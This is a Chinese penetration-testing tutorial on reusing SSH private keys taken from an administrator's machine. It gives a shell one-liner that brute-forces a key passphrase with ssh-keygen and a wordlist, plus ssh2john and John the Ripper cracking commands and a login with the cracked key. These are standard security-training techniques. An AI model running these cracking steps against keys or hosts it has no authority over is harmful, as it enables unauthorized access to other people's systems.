在渗透中,经常会发现某管理员主机上保存了大量机器的公私钥用于ssh证书登录。这个时候可以通过这个证书进行远程登录。

先回顾下证书登录通常的配置方法

一、生成不带passphrase的公私钥证书实现免密登录:

root@kali:~/.ssh# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:

Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:ptikL9/0CSXOM2QrUcWyohUYhI4ofdgIZraTJdBwTjI root@kali
The key's randomart image is:
+---[RSA ]----+
|Eooooo .. |
|.@o.. . ... |
|==*+ ..o |
|++= o o.. |
|. .. oo.S . |
| .= O + |
| o + O |
| .. + = . |
| oo . o |
+----[SHA256]-----+

然后将生成的公钥拷贝到目标机器的authorized_keys文件中,可以手动拷贝,也可以通过ssh-copy-id命令进行

运行ssh-keygen就可以自动生成公私钥,如下代码所示。注意加粗部分:大部分情况下,管理员为了实现免密登录,会在输入passphrase的时候直接回车跳过,只需要把生成的ids_rsa.pub放到目标机器的.ssh/authorized_keys中,这样在进行远程登录的时候就不在需要任何操作,直接运行以下命令即可登录成功

ssh -i "ids_rsa文件路径"  "生成证书的用户名"@hostip

#一般ids_rsa会直接生成在/home/用户名/.ssh目录下,这时候不需要通过i参数指定ids_rsa文件的位置

这里authorized_keys文件权限要为600,.ssh文件夹权限要为700

二、passphrase的破解

但是,有些时候,管理员具备一定的安全意识,不会忽略这个passphrase,我们即使拿到了公私钥,没有这个passphrase也无法进行登录,这时候就需要进行破解,如下图所示

1、先查看这个公私钥适用的用户:

查看ids_rsa.pub文件,最后一段就是可以登录的用户,如下图所示,当前公私钥适用于user用户

2、获取到适用的用户后,可以通过以下脚本破解passphrase,这里需要破解的目标文件是ids_rsa

方法一:ssh-keygen爆破

cat /usr/share/wordlists/metasploit/adobe_top100_pass.txt | while read pass; do if ssh-keygen -c -C "user@forandsix2" -P $pass -f id_rsa &>/dev/null; then echo $pass; break; fi; done

方法二:使用john爆破

root@kali:~# ssh2john ./id_rsa > crack.txt
root@kali:~# john crack.txt --wordlist=/usr/share/wordlists/rockyou.txt
root@kali:~# john crack.txt --show

*注:方法一适用于字典较小情况下进行爆破的情况,遇到大规模字典还是要使用方法二来进行,且前者需要知道目标机器的hostname

3、通过破解出来的passphrase进行登录即可

ssh -i ids_rsa user@x.x.x.x

部分参考自:https://hk.saowen.com/a/c99a2e09078b41f5e7c0fae6db217cfffc79aa487ef77ed63bd17d80ef4b3e14

最新文章

  1. JS操作Unicode编码的emoji表情显示在页面
  2. Ubuntu Server 12.04下部署glusterfs
  3. MVC5+EF6 入门完整教程六
  4. Office 365 - SharePoint Tips & Tricks
  5. SAM4E单片机之旅——23、在AS6(GCC)中使用FPU
  6. 组合数学 UVa 11538 Chess Queen
  7. Redis C客户端API - God's blog - 博客频道 - CSDN.NET
  8. ubuntu 连接VPN 命令
  9. jmeter JDBC 连接数据库
  10. 记录pycharm快捷键出错的其中一个原因
  11. 【申嵌视频】基于VMWare虚拟机下安装ubuntu操作系统的详细步骤
  12. docker 私有仓库简易搭建
  13. 复制数据库的Shell命令
  14. JQuery常见事件
  15. CSS--交互效果
  16. 执行sql语句为什么?用PreparedStatement要比Statement好用
  17. kubernetes Metrics-server 安装
  18. 使用Pytesseract+Tesseract-OCR识别图片的简单步骤
  19. 为我们的SSR程序添加热更新功能
  20. win7搭建TensorFlow环境

热门文章

  1. asp.net Mvc 使用uploadify 上传文件 HTTP 302 Error
  2. 一幅图秒懂LoadAverage(转载)
  3. 虚拟中没有eth0
  4. java压缩多个文件
  5. 20145329《Java程序设计》实验四总结
  6. linux下安装mysql详细步骤
  7. hibernate关联非主键注解配置
  8. intellij 文件太大,无法code assistant
  9. web platform installer
  10. 【cs231n】神经网络学习笔记1